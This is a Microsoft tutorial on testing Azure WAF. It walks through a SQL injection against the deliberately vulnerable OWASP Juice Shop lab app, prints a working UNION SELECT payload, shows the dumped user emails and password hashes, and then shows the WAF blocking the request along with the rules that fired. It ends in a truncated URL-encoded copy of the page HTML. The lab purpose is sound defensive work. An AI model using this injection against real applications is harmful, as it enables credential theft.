Part 4 - Data Disclosure and Exfiltration Playbook: Azure WAF Security Protection and Detection Lab

Published Feb 11 2021 01:27 PM 3,093 Views
Microsoft

 

 

 

Tutorial: Data Disclosure and Exfiltration Playbook

 

 

 

The last tutorial in this four-part series for Azure WAF protection is the data exfiltration playbook.  The purpose of the Azure WAF security protection lab is to demonstrate Azure WAF's capabilities in identifying and protecting against suspicious activities and potential attacks against your web applications.  This playbook explains how to test Azure WAF's protections against a SQL Injection (SQLi) attack with emphasis on Azure WAF protection ruleset and logging capabilities.  The lab does not include advanced application security concepts and is not intended to be a reference for application security testing as these areas are broader than the use cases demonstrated herein.

 

This playbook demonstrates the protection capabilities of Azure WAF against a simulated SQL Injection attack from common, real-world, publicly available hacking and attack tools.

 

In this tutorial you will:

  1. Simulate SQL Injection (SQLi) attack against the target OWASP Juice Shop application directly and then attack the same instance of the web application published through Azure WAF
  2. Observe the difference in the web application behavior in the two scenarios
  3. Review the summarized logs in the WAF Workbook (Azure Monitor Workbook for WAF)

 

 

Prerequisites

 

  1. A completed Azure WAF security lab setup
    • We recommend following the lab setup instructions as closely as possible. The closer your lab is to the suggested lab setup, the easier it will be to follow the Azure ATP testing procedures.
  2. Completion of the reconnaissance playbook tutorial
  3. Completion of the vulnerability exploitation playbook tutorial

 

 

Configuring Burp Suite and Firefox

 

Before you being, please refer to the Configuring Burp Suite and Firefox section in the previous tutorial, Vulnerability Exploitation Playbook to setup Burp Suite and the Firefox web browser on the Kali VM.

 

 

Sensitive Data Exposure and Exfiltration

 

In this phase, the attacker is ready to use a vulnerability they have previously discovered, tested, and developed further to achieve their objective to access and exfiltrate data.  In this playbook, we will perform a SQL Injection attack to disclose and then exfiltrate the list of all user credentials in the OWASP Juice Shop application.

 

 

Performing SQL Injection against the Target Web Application

 

In this tutorial, you will perform a SQL Injection (SQLi) attack against the OWASP Juice Shop application two times. 

 

  1. Scenario 1: Performing SQL injection in the target web application directly
  2. Scenario 2: Performing the same injection in the same target web application protected by Azure WAF on Application Gateway

 

 

Scenario 1:  Performing SQL Injection when going to the OWASP Juice Shop Application directly

 

  1. Sign into the Kali VM using your lab credentials
  2. Launch Burp Suite and ensure you have Burp Suite configured and running as described in the Configuring Burp Suite and Firefox section of the Vulnerability Exploitation Playbook
  3. Using Firefox, browse directly to the Juice Shop site by going to http://owaspdirect-<deployment guid>.azurewebsites.net
  4. In Burp Suite, check the Proxy --> HTTP history tab for the request and response data for this website
  5. In the search bar on the Juice Shop website, type "apple" and examine the request and response in Burp Suite

 

Mohit_Kumar_0-1609802434105.png

! IMPORTANT:  For the scenarios demonstrated in this document, OWASP Juice Shop application was running on HTTP port 3000.  This is not the case when you use the Azure WAF Attack Testing Lab Deployment Template as it configures the application to run on port 80, 443 and assigns it a URL.  For the lab tutorials, you will connect to the application on HTTP port 80 only.  The URL for the application will be http://owaspdirect-<deployment guid>.azurewebsites.net.  <deployment guid> is unique to every deployment

 

  1. We see that when searching, the client makes a connection to the /rest/products/search endpoint

 

Mohit_Kumar_1-1609802546363.png

 

  1. The /rest/products/search endpoint of the OWASP Juice Shop application is vulnerable to SQL injection.  In this tutorial, we will be exploiting the SQLi vulnerability in this endpoint
  2. To exploit the SQLi vulnerability in the /rest/products/search endpoint, we will use Burp Suite's Repeater functionality to inject a specifically crafted SQL query in the request to this endpoint
  3. To do this, right click one of the GET requests to the /rest/products/search endpoint and then click Send to Repeater

 

Figure 1 - Send Request to Burp Repeater

Mohit_Kumar_0-1609804509315.png

 

Figure 2 - Request in Burp Repeater

Mohit_Kumar_1-1609804517809.png

 

  1. When ready to perform the injection, we will copy/paste and append the following encoded SQL query to the Request URI /rest/products/search?q= (as value to the query parameter) in the Burp Repeater window

 

a. URL encoded SQL query

 

 

%71%77%65%72%74%27%29%29%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%69%64%2c%20%65%6d%61%69%6c%2c%20%70%61%73%73%77%6f%72%64%2c%20%27%34%27%2c%20%27%35%27%2c%20%27%36%27%2c%20%27%37%27%2c%20%27%38%27%2c%20%27%39%27%20%46%52%4f%4d%20%55%73%65%72%73%2d%2d 

 

 

b. Plain text SQL query (for reference)

 

 

qwert')) UNION SELECT id, email, password, '4', '5', '6', '7', '8', '9' FROM Users-- 

 

 

  • Tip: You can also append the plain text SQL query to the request URI, but it may fail in certain conditions

 

  1. After appending the encoded query to the request URI, as value to the to the query parameter, click Go (or Send button)

 

Mohit_Kumar_0-1609804755202.png

 

  1. You should see a successful response from the OWASP Juice Shop application with details of all the users and their credentials disclosed by the web application.  This indicates that our SQL injection attack was successful

 

Mohit_Kumar_2-1609804823459.png

 

JSON data in the response body

 

 

{"status":"success","data":[{"id":1,"name":"admin@juice-sh.op","description":"0192023a7bbd73250516f069df18b500","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":2,"name":"jim@juice-sh.op","description":"e541ca7ecf72b8d1286474fc613e5e45","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":3,"name":"bender@juice-sh.op","description":"0c36e517e3fa95aabf1bbffc6744a4ef","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":4,"name":"bjoern.kimminich@gmail.com","description":"6edd9d726cbdc873c539e41ae8757b8c","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":5,"name":"ciso@juice-sh.op","description":"861917d5fa5f1172f931dc700d81a8fb","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":6,"name":"support@juice-sh.op","description":"d57386e76107100a7d6c2782978b2e7b","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":7,"name":"morty@juice-sh.op","description":"f2f933d0bb0ba057bc8e33b8ebd6d9e8","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":8,"name":"mc.safesearch@juice-sh.op","description":"b03f4b0ba8b458fa0acdc02cdb953bc8","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":9,"name":"J12934@juice-sh.op","description":"3c2abc04e4a6ea8f1327d0aae3714b7d","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":10,"name":"wurstbrot@juice-sh.op","description":"9ad5b0492bbe528583e128d2a8941de4","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":11,"name":"amy@juice-sh.op","description":"030f05e45e30710c3ad3c32f00de0473","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":12,"name":"bjoern@juice-sh.op","description":"7f311911af16fa8f418dd1a3051d6810","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":13,"name":"bjoern@owasp.org","description":"9283f1b2e9669749081963be0462e466","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":14,"name":"chris.pike@juice-sh.op","description":"10a783b9ed19ea1c67c3a27699f0095b","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":15,"name":"accountant@juice-sh.op","description":"963e10f92a70b4b463220cb4c5d636dc","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":16,"name":"uvogin@juice-sh.op","description":"05f92148b4b60f7dacd04cceebb8f1af","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":17,"name":"demo","description":"fe01ce2a7fbac8fafaed7c982a04e229","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":18,"name":"john@juice-sh.op","description":"00479e957b6b42c459ee5746478e4d45","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":19,"name":"emma@juice-sh.op","description":"402f1c4a75e316afec5a6ea63147f739","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"}]}

 

 

  • Tip:  Data in the "Description" field in the server response is the password hash of the users which can be reversed using free tools available on the internet

 

 

Scenario 2:  Performing SQL Injection when going to the OWASP Juice Shop Application through Azure WAF

 

You will now attempt to perform SQL Injection with the same query when going to the OWASP Juice Shop site through Azure WAF.

 

  1. On Kali VM, launch a new instance of Burp Suite and the Firefox browser
  2. Using Firefox, browse to http://juiceshopthruazwaf.com and check the Proxy --> HTTP history tab for the request and response data for this website in Burp Suite

 

Mohit_Kumar_0-1609804974511.png

 

  1. Search for "apple" in the search bar, find the request to the vulnerable /rest/products/search endpoint and send it to the Burp Repeater

 

Send Request to Burp Repeater

Mohit_Kumar_0-1609805057439.png

 

Request in Burp Repeater

Mohit_Kumar_2-1609805081885.png

 

  1. Append the encoded SQL query (from Step 10 in Scenario 1 above) as value to the query parameter in the Burp Repeater and click Go (or Send)

 

Mohit_Kumar_3-1609805127593.png

 

  1. Upon examining the response, we find that the request was blocked by Azure WAF on Application Gateway

 

Mohit_Kumar_4-1609805146293.png

 

 

Understanding What Happened

 

Upon reviewing the HTTP requests and responses for the two attempts to perform SQL Injection in the same instance of the Juice Shop application, we see the pattern as shown in the below table.  This clearly indicates that the potentially malicious payload which could otherwise be stored in the application is not allowed through by Azure WAF.

 

SQL Injection Route

Success

Direct

Yes

Through WAF

No

 

Now let us use the Azure Monitor Workbook for WAF to understand how the WAF handled traffic with the SQL Injection query.  This workbook visualizes security relevant WAF events across several filterable panels.  It works with all WAF types, including Application Gateway, Front Door, and CDN, and can be filtered based on WAF type or a specific WAF instance.

 

Click here to deploy Azure Monitor Workbook for WAF to your subscription in Azure.

 

  • Tip:  To understand what is happening when traffic with SQL Injection query destined for the Juice Shop application goes through the Azure WAF, you can also examine the log entries associated with ApplicationGatewayFirewallLog in the Azure Monitor

 

 

Reviewing WAF logs in the Workbook

 

  1. You can access the WAF workbook by going into the Workbook blade and then selecting the WAF workbook deployed for this testing.  Once in the workbook, ensure that you have selected the appropriate Time Range, WAF Type and WAF Items

 

Mohit_Kumar_0-1609805295194.png

 

  1. You should also ensure that you have selected the correct Public IP address for your attacker machine (Kali VM) in the Top 10 Attacking IP Addresses, filter to single IP address pane

 

  • Tip:  If you are using the Azure WAF Attack Testing Lab Environment Deployment Template and have followed the lab setup instructions then the client IP address will be the public IP address of the Azure Firewall in your demo environment

 

Mohit_Kumar_1-1609897377934.png

 

  1. After selecting the correct client IP, we scroll back up to the top of the Workbook and review the visualizations at the top, in the WAF Workbook.  Below are the sections of the workbook we will be using as numbered in the below figure

 

a. WAF actions filter

b. Top 40 Blocked Request URI addresses, filter to single URI address

c. Top 50 event trigger, filter by rule name

d. Message, full details

 

Mohit_Kumar_2-1609897428966.png

Note:  For a detailed overview of these sections of the WAF workbook, please refer to the Overview of the Workbook Sections in the prior tutorial, Reconnaissance Playbook

 

  1. From the sliced data in the WAF workbook, we can see that two requests to the /rest/products/search URI were blocked by WAF.  Upon reviewing the Top 50 event trigger, filter by rule name we see all the rules which evaluated the POC code in the request, the Message, full details section shows that the traffic was blocked by Mandatory rule because the Anomaly Score threshold was exceeded (Total Score: 43, SQLi=43) with SQL Injection attack being the closest match
  2. The below table shows an extract of the Top 50 event trigger, filter by rule name output for scanner traffic.  This data shows that the WAF evaluated the encoded query in the HTTP request to detect that it was a SQL injection attack and therefore blocked it

 

Rule

count_

SQL Injection Attack Detected via libinjection

1

Detects MSSQL code execution and information gathering attempts

1

Looking for basic sql injection. Common attack string for mysql, oracle and others.

1

Detects MySQL comment-/space-obfuscated injections and backtick termination

1

Detects basic SQL authentication bypass attempts 2/3

1

Detects classic SQL injection probings 1/3

1

Detects classic SQL injection probings 2/3

1

SQL Injection Attack

1

Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)

1

 

 

Key Takeaway

 

SQL Injection (SQLi) is one of the most common type of application security vulnerability which allows an external adversary to exploit a vulnerable application to disclose and exfiltrate sensitive information in the application.

 

For web applications secured with it, Azure WAF can protect against SQL Injection (SQLi) attacks by detecting and blocking suspicious SQL queries at the network edge, with its out of the box ruleset.

 

 

 

Previous: Vulnerability Exploitation Playbook

 

 

 

 

%3CLINGO-SUB%20id%3D%22lingo-sub-2031269%22%20slang%3D%22en-US%22%3EPart%204%20-%20Data%20Disclosure%20and%20Exfiltration%20Playbook%3A%20Azure%20WAF%20Security%20Protection%20and%20Detection%20Lab%3C%2FLINGO-SUB%3E%3CLINGO-BODY%20id%3D%22lingo-body-2031269%22%20slang%3D%22en-US%22%3E%3CH2%20id%3D%22toc-hId--554604973%22%20id%3D%22toc-hId--554604964%22%3E%26nbsp%3B%3C%2FH2%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH2%20id%3D%22toc-hId-1932907860%22%20id%3D%22toc-hId-1932907869%22%3E%3CFONT%20size%3D%226%22%3ETutorial%3A%20Data%20Disclosure%20and%20Exfiltration%20Playbook%3C%2FFONT%3E%3C%2FH2%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3EThe%20last%20tutorial%20in%20this%20four-part%20series%20for%20Azure%20WAF%20protection%20is%20the%20data%20exfiltration%20playbook.%26nbsp%3B%20The%20purpose%20of%20the%20Azure%20WAF%20security%20protection%20lab%20is%20to%20demonstrate%20%3CSTRONG%3EAzure%20WAF%3C%2FSTRONG%3E's%20capabilities%20in%20identifying%20and%20protecting%20against%20suspicious%20activities%20and%20potential%20attacks%20against%20your%20web%20applications.%26nbsp%3B%20This%20playbook%20explains%20how%20to%20test%20Azure%20WAF's%20protections%20against%20a%20%3CSTRONG%3ESQL%20Injection%20(SQLi)%3C%2FSTRONG%3E%20%3CSTRONG%3Eattack%3C%2FSTRONG%3E%20with%20emphasis%20on%20Azure%20WAF%20protection%20ruleset%20and%20logging%20capabilities.%26nbsp%3B%20The%20lab%20does%20not%20include%20advanced%20application%20security%20concepts%20and%20is%20not%20intended%20to%20be%20a%20reference%20for%20application%20security%20testing%20as%20these%20areas%20are%20broader%20than%20the%20use%20cases%20demonstrated%20herein.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3EThis%20playbook%20demonstrates%20the%20protection%20capabilities%20of%20Azure%20WAF%20against%20a%20simulated%20SQL%20Injection%20attack%20from%20common%2C%20real-world%2C%20publicly%20available%20hacking%20and%20attack%20tools.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3EIn%20this%20tutorial%20you%20will%3A%3C%2FP%3E%0A%3COL%3E%0A%3CLI%3ESimulate%20SQL%20Injection%20(SQLi)%20attack%20against%20the%20target%20OWASP%20Juice%20Shop%20application%20directly%20and%20then%20attack%20the%20same%20instance%20of%20the%20web%20application%20published%20through%20Azure%20WAF%3C%2FLI%3E%0A%3CLI%3EObserve%20the%20difference%20in%20the%20web%20application%20behavior%20in%20the%20two%20scenarios%3C%2FLI%3E%0A%3CLI%3EReview%20the%20summarized%20logs%20in%20the%20WAF%20Workbook%20(%3CA%20href%3D%22https%3A%2F%2Faka.ms%2FAzWAFworkbook%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EAzure%20Monitor%20Workbook%20for%20WAF%3C%2FA%3E)%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH2%20id%3D%22toc-hId-125453397%22%20id%3D%22toc-hId-125453406%22%3EPrerequisites%3C%2FH2%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%3E%0A%3CLI%3E%3CA%20title%3D%22Setup%20an%20Azure%20WAF%20Attack%20Testing%20Lab%22%20href%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fazure-network-security%2Fpart-1-lab-setup-azure-web-application-firewall-security%2Fba-p%2F2030469%22%20target%3D%22_blank%22%3EA%20completed%20Azure%20WAF%20security%20lab%20setup%3C%2FA%3E%3CBR%20%2F%3E%3CUL%3E%0A%3CLI%3EWe%20recommend%20following%20the%20lab%20setup%20instructions%20as%20closely%20as%20possible.%20The%20closer%20your%20lab%20is%20to%20the%20suggested%20lab%20setup%2C%20the%20easier%20it%20will%20be%20to%20follow%20the%20Azure%20ATP%20testing%20procedures.%3C%2FLI%3E%0A%3C%2FUL%3E%0A%3C%2FLI%3E%0A%3CLI%3E%3CA%20title%3D%22Reconnaissance%20Playbook%22%20href%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fazure-network-security%2Fpart-2-reconnaissance-playbook-azure-waf-security-protection-and%2Fba-p%2F2030751%22%20target%3D%22_blank%22%3ECompletion%20of%20the%20reconnaissance%20playbook%20tutorial%3C%2FA%3E%3C%2FLI%3E%0A%3CLI%3E%3CA%20title%3D%22Vulnerability%20Exploitation%20Playbook%22%20href%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fazure-network-security%2Fpart-3-vulnerability-exploitation-playbook-azure-waf-security%2Fba-p%2F2031047%22%20target%3D%22_blank%22%3ECompletion%20of%20the%20vulnerability%20exploitation%20playbook%20tutorial%3C%2FA%3E%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH3%20id%3D%22toc-hId-816014871%22%20id%3D%22toc-hId-816014880%22%3EConfiguring%20Burp%20Suite%20and%20Firefox%3C%2FH3%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3EBefore%20you%20being%2C%20please%20refer%20to%20the%20%3CSTRONG%3EConfiguring%20Burp%20Suite%20and%20Firefox%3C%2FSTRONG%3E%20section%20in%20the%20previous%20tutorial%2C%20%3CA%20title%3D%22Vulnerability%20Exploitation%20Playbook%22%20href%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fazure-network-security%2Fpart-3-vulnerability-exploitation-playbook-azure-waf-security%2Fba-p%2F2031047%22%20target%3D%22_blank%22%3EVulnerability%20Exploitation%20Playbook%3C%2FA%3E%26nbsp%3Bto%20setup%20Burp%20Suite%20and%20the%20Firefox%20web%20browser%20on%20the%20Kali%20VM.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH2%20id%3D%22toc-hId-805511767%22%20id%3D%22toc-hId-805511776%22%3ESensitive%20Data%20Exposure%20and%20Exfiltration%3C%2FH2%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3EIn%20this%20phase%2C%20the%20attacker%20is%20ready%20to%20use%20a%20vulnerability%20they%20have%20previously%20discovered%2C%20tested%2C%20and%20developed%20further%20to%20achieve%20their%20objective%20to%20access%20and%20exfiltrate%20data.%26nbsp%3B%20In%20this%20playbook%2C%20we%20will%20perform%20a%20SQL%20Injection%20attack%20to%20disclose%20and%20then%20exfiltrate%20the%20list%20of%20all%20user%20credentials%20in%20the%20OWASP%20Juice%20Shop%20application.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH2%20id%3D%22toc-hId--1001942696%22%20id%3D%22toc-hId--1001942687%22%3EPerforming%20SQL%20Injection%20against%20the%20Target%20Web%20Application%3C%2FH2%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3EIn%20this%20tutorial%2C%20you%20will%20perform%20a%20SQL%20Injection%20(SQLi)%20attack%20against%20the%20OWASP%20Juice%20Shop%20application%20two%20times.%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%3E%0A%3CLI%3E%3CSTRONG%3EScenario%201%3C%2FSTRONG%3E%3A%20Performing%20SQL%20injection%20in%20the%20target%20web%20application%20directly%3C%2FLI%3E%0A%3CLI%3E%3CSTRONG%3EScenario%202%3C%2FSTRONG%3E%3A%20Performing%20the%20same%20injection%20in%20the%20same%20target%20web%20application%20protected%20by%20Azure%20WAF%20on%20Application%20Gateway%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH3%20id%3D%22toc-hId--311381222%22%20id%3D%22toc-hId--311381213%22%3EScenario%201%3A%26nbsp%3B%20Performing%20SQL%20Injection%20when%20going%20to%20the%20OWASP%20Juice%20Shop%20Application%20directly%3C%2FH3%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%3E%0A%3CLI%3ESign%20into%20the%20Kali%20VM%20using%20your%20lab%20credentials%3C%2FLI%3E%0A%3CLI%3ELaunch%20Burp%20Suite%20and%20ensure%20you%20have%20Burp%20Suite%20configured%20and%20running%20as%20described%20in%20the%20%3CSTRONG%3EConfiguring%20Burp%20Suite%20and%20Firefox%20%3C%2FSTRONG%3Esection%20of%20the%20%3CA%20href%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fazure-network-security%2Fpart-3-vulnerability-exploitation-playbook-azure-waf-security%2Fba-p%2F2031047%22%20target%3D%22_blank%22%3EVulnerability%20Exploitation%20Playbook%3C%2FA%3E%3C%2FLI%3E%0A%3CLI%3EUsing%20Firefox%2C%20browse%20directly%20to%20the%20Juice%20Shop%20site%20by%20going%20to%20%3CSPAN%3Ehttp%3A%2F%2Fowaspdirect-%3CDEPLOYMENT%3E%3C%2FDEPLOYMENT%3E%3C%2FSPAN%3E%20guid%26gt%3B.azurewebsites.net%3C%2FLI%3E%0A%3CLI%3EIn%20Burp%20Suite%2C%20check%20the%20%3CSTRONG%3EProxy%20--%26gt%3B%20HTTP%20history%3C%2FSTRONG%3E%20tab%20for%20the%20request%20and%20response%20data%20for%20this%20website%3C%2FLI%3E%0A%3CLI%3EIn%20the%20search%20bar%20on%20the%20Juice%20Shop%20website%2C%20type%20%22apple%22%20and%20examine%20the%20request%20and%20response%20in%20Burp%20Suite%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_0-1609802434105.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F244123i7FFCB7BEA0286BE3%2Fimage-size%2Flarge%3Fv%3D1.0%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_0-1609802434105.png%22%20alt%3D%22Mohit_Kumar_0-1609802434105.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CFONT%20size%3D%222%22%3E%3CFONT%20color%3D%22%23FF0000%22%3E%3CSTRONG%3E!%3C%2FSTRONG%3E%3C%2FFONT%3E%3CSTRONG%3E%20IMPORTANT%3C%2FSTRONG%3E%3A%20%26nbsp%3BFor%20the%20scenarios%20demonstrated%20in%20this%20document%2C%20OWASP%20Juice%20Shop%20application%20was%20running%20on%20HTTP%20port%203000.%26nbsp%3B%20This%20is%20not%20the%20case%20when%20you%20use%20the%20Azure%20WAF%20Attack%20Testing%20Lab%20Deployment%20Template%20as%20it%20configures%20the%20application%20to%20run%20on%20port%2080%2C%20443%20and%20assigns%20it%20a%20URL.%26nbsp%3B%20For%20the%20lab%20tutorials%2C%20you%20will%20connect%20to%20the%20application%20on%20HTTP%20port%2080%20only.%26nbsp%3B%20The%20URL%20for%20the%20application%20will%20be%20%3CSPAN%3Ehttp%3A%2F%2Fowaspdirect-%3CDEPLOYMENT%3E%3C%2FDEPLOYMENT%3E%3C%2FSPAN%3E%20guid%26gt%3B.azurewebsites.net.%26nbsp%3B%20%3CDEPLOYMENT%20guid%3D%22%22%3E%20is%20unique%20to%20every%20deployment%3C%2FDEPLOYMENT%3E%3C%2FFONT%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%20start%3D%226%22%3E%0A%3CLI%3EWe%20see%20that%20when%20searching%2C%20the%20client%20makes%20a%20connection%20to%20the%20%3CSTRONG%3E%2Frest%2Fproducts%2Fsearch%3C%2FSTRONG%3E%20endpoint%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_1-1609802546363.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F244124iA2B4AC4796C9A28E%2Fimage-size%2Flarge%3Fv%3D1.0%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_1-1609802546363.png%22%20alt%3D%22Mohit_Kumar_1-1609802546363.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%20start%3D%227%22%3E%0A%3CLI%3EThe%26nbsp%3B%3CSTRONG%3E%2Frest%2Fproducts%2Fsearch%26nbsp%3B%3C%2FSTRONG%3Eendpoint%26nbsp%3Bof%20the%26nbsp%3B%3CSTRONG%3EOWASP%20Juice%20Shop%3C%2FSTRONG%3E%26nbsp%3Bapplication%20is%20vulnerable%20to%20SQL%20injection.%26nbsp%3B%20In%20this%20tutorial%2C%20we%20will%20be%20exploiting%20the%20SQLi%20vulnerability%20in%20this%20endpoint%3C%2FLI%3E%0A%3CLI%3ETo%20exploit%20the%20SQLi%20vulnerability%20in%20the%20%3CSTRONG%3E%2Frest%2Fproducts%2Fsearch%20%3C%2FSTRONG%3Eendpoint%2C%20we%20will%20use%20Burp%20Suite's%20Repeater%20functionality%20to%20inject%20a%20specifically%20crafted%20SQL%20query%20in%20the%20request%20to%20this%20endpoint%3C%2FLI%3E%0A%3CLI%3ETo%20do%20this%2C%20right%20click%20one%20of%20the%20GET%20requests%20to%20the%20%3CSTRONG%3E%2Frest%2Fproducts%2Fsearch%20%3C%2FSTRONG%3Eendpoint%20and%20then%20click%20%3CSTRONG%3ESend%20to%20Repeater%3C%2FSTRONG%3E%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CFONT%20size%3D%222%22%3E%3CSTRONG%3EFigure%201%20-%20Send%20Request%20to%20Burp%20Repeater%3C%2FSTRONG%3E%3C%2FFONT%3E%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CSTRONG%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_0-1609804509315.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F244136i736F2AA445C15334%2Fimage-size%2Flarge%3Fv%3D1.0%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_0-1609804509315.png%22%20alt%3D%22Mohit_Kumar_0-1609804509315.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FSTRONG%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CFONT%20size%3D%222%22%3E%3CSTRONG%3EFigure%202%20-%20Request%20in%20Burp%20Repeater%3C%2FSTRONG%3E%3C%2FFONT%3E%3C%2FP%3E%0A%3CP%20class%3D%22lia-indent-padding-left-30px%22%3E%3CSTRONG%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_1-1609804517809.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F244137i8573A7C582B8D505%2Fimage-size%2Flarge%3Fv%3D1.0%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_1-1609804517809.png%22%20alt%3D%22Mohit_Kumar_1-1609804517809.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FSTRONG%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%20start%3D%2210%22%3E%0A%3CLI%3EWhen%20ready%20to%20perform%20the%20injection%2C%20we%20will%20copy%2Fpaste%20and%20append%20the%20following%20encoded%20SQL%20query%20to%20the%20Request%20URI%20%3CSTRONG%3E%2Frest%2Fproducts%2Fsearch%3Fq%3D%3C%2FSTRONG%3E%20(as%20value%20to%20the%20query%20parameter)%20in%20the%20Burp%20Repeater%20window%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%20class%3D